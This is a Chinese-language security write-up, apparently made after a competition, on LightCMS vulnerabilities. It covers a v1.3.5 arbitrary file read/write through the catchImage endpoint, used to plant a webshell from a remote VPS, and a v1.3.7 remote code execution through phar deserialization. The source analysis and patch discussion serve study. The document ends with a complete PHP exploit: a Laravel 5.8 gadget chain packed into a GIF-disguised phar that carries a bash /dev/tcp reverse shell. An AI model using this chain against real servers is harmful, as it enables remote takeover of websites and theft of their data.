前言
没错,这个又是比赛遇到的cms,借此来分析一下。 不过,我个人对laravel这个框架不是很熟,看着开发手册跟调试复现的。
配置环境
首先到GitHub下载v1.3.5,v1.3.7,按github上面的安装流程装就可以了,记得配置.env文件。 (把git_repository_url换成git clone https://github.com/eddy8/LightCMS.git -b v1.3.5)
v1.3.5任意文件读写漏洞
首先到GitHub下载v1.3.5,v1.3.7,按github上面的安装流程装就可以了,记得配置.env文件。 (把git_repository_url换成git clone https://github.com/eddy8/LightCMS.git -b v1.3.5)
任意文件读取
这里的前提条件是已经登录后台管理员,然后构造一个POST请求/admin/neditor/serve/catchImage, 填写的file参数是要读取文件路径。响应成功,返回了请求资源保存的路径。
访问请求资源保存的路径,成功获取到数据。
任意文件写入
同上面的请求包,不同的是file参数改为vps上的文件。响应成功,vps上的文件成功写入目标。
访问请求资源保存的路径,从vps上保存过来的php文件解析成功。 所以,也可以在vps上写个马,通过file参数读取并保存到目标。从而达到getshell的目的。
这里对源码进行分析,看到NEditorController控制器中的serve()方法。 可以看出请求的路由通过call_user_func()函数去调用方法。该漏洞请求调用的是catchImage()方法。
来到catchImage()方法。这里用file_get_contents()函数获取资源后,再调用put()方法进行保存。 本来看到parse_url()函数,以为要绕过。 结果,这里直接用获取请求资源的后缀名,并且以该后缀名保存请求的资源,没有任何过滤处理。 这也解释了为什么请求vps上的php文件,保存到本地后会被解析。
跟进一下put()方法,看一下是怎么保存的。 可以看到这里判断资源类型后,直接调用$this->driver->put($path, $contents, $options)进行保存。
来看一下补丁怎么处理这个漏洞,可以看到首先对后缀名进行判断以及限制。 并且,把file_get_contents()函数改为了fetchImageFile()方法(作者写的一个用curl获取image文件对象的方法,并且在里面限制的请求到的资源), 来限制远程获取资源的文件类型。
v1.3.7RCE漏洞
首先用laravel5.8的反序列化链生成一个phar文件,这里要修改为图片后缀并加上十六进制文件头。
接着,访问接口/admin/entity/2/contents,点击新增文件内容。
来到/admin/entity/2/contents/create后,在上传图片的功能点处上传刚刚生成gif后缀的phar文件, 上传成功后会显示phar文件的相对路径。
到自己的vps上,写一个触发phar的url。这里有一个点卡了我很久, 如果你是把这段phar协议的url放txt文本上,file_get_contents()函数读取到的内容是会带一个\n换行符,导致不能进入is_url()分支。 所以这里才要用php文件去输出内容。 不过我在我的vps上装了框架,所以路由里面才直接return一个phar://./upload/image/202107/4vAAcw82fuQWYMMUsDgp0tg5A1KYU2LLsIf5J00R.gif,其实这里直接写一个php文件输出就行。
跟原先v1.3.5的漏洞一样POST一个file参数到接口/admin/neditor/serve/catchImage, 这里的file参数填刚刚在vps上面写的文件。
因为这里的命令执行没有回显,所以选择反弹个shell到vps上。
接着,来分析一下源码。从v1.3.5版本修复的补丁可以得知一旦请求远程资源时, 会对文件的后缀名进行苛刻的要求,而phar反序列化是没有后缀要求的,所以我们可以通过触发phar反序列化来攻击目标。 从源码中可以看到这里用curl对我们file参数中的url进行了请求,并把获得的内容存放到$data变量。 接着,进入Image::make($data)方法内。
跟随变量流向,可以发现来到了init()方法中进行区分数据的类型。 这里要满足$this->isUrl()才能进入$this->initFromUrl($this->data)方法。 来看一下$this->isUrl()方法该如何满足。
可以看到通过过滤器filter_var($this->data, FILTER_VALIDATE_URL)进行判断连接$data中的链接是否有效, 这个地方其实卡了我很久,如果你在vps上以txt保存链接的话,$data会带有一个\n换行符导致过滤器返回false。 所以要用php文件来输出内容,避免换行符的出现。
接着,便进入到$this->initFromUrl($this->data)方法内, 这里有个file_get_contents()函数去请求$data中的链接,所以我们构造一个phar协议的链接, 来触发目标本地的phar文件即可达到反序列化攻击。这里需要注意的是,此处的命令执行没有回显。
poc
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($obj_destruct, $obj_implements)
{
$this->events = $obj_destruct;
$this->event = $obj_implements;
}
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
}
namespace Illuminate\Bus {
use Illuminate\Contracts\Queue\Queue;
use Illuminate\Contracts\Queue\ShouldQueue;
class Dispatcher
{
protected $queueResolver = 'system';
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
}
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
}
}
}
namespace Illuminate\Broadcasting {
class BroadcastEvent
{
public $connection = 'bash -i >& /dev/tcp/ip/port 0>&1';
}
}
namespace {
$obj_destruct = new Illuminate\Bus\Dispatcher();
$obj_implements = new Illuminate\Broadcasting\BroadcastEvent('17');
$pwn = new Illuminate\Broadcasting\PendingBroadcast($obj_destruct, $obj_implements);
echo urlencode(serialize($pwn));
// 生成phar文件,$pwn变量为payload中实例化后的的对象
@unlink('exp.gif');
// .phar文件
$phar = new Phar("exp.phar");
$phar->stopBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($pwn);
// 生成签名
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
rename('exp.phar', 'exp.gif');
}
There Is Nothing Below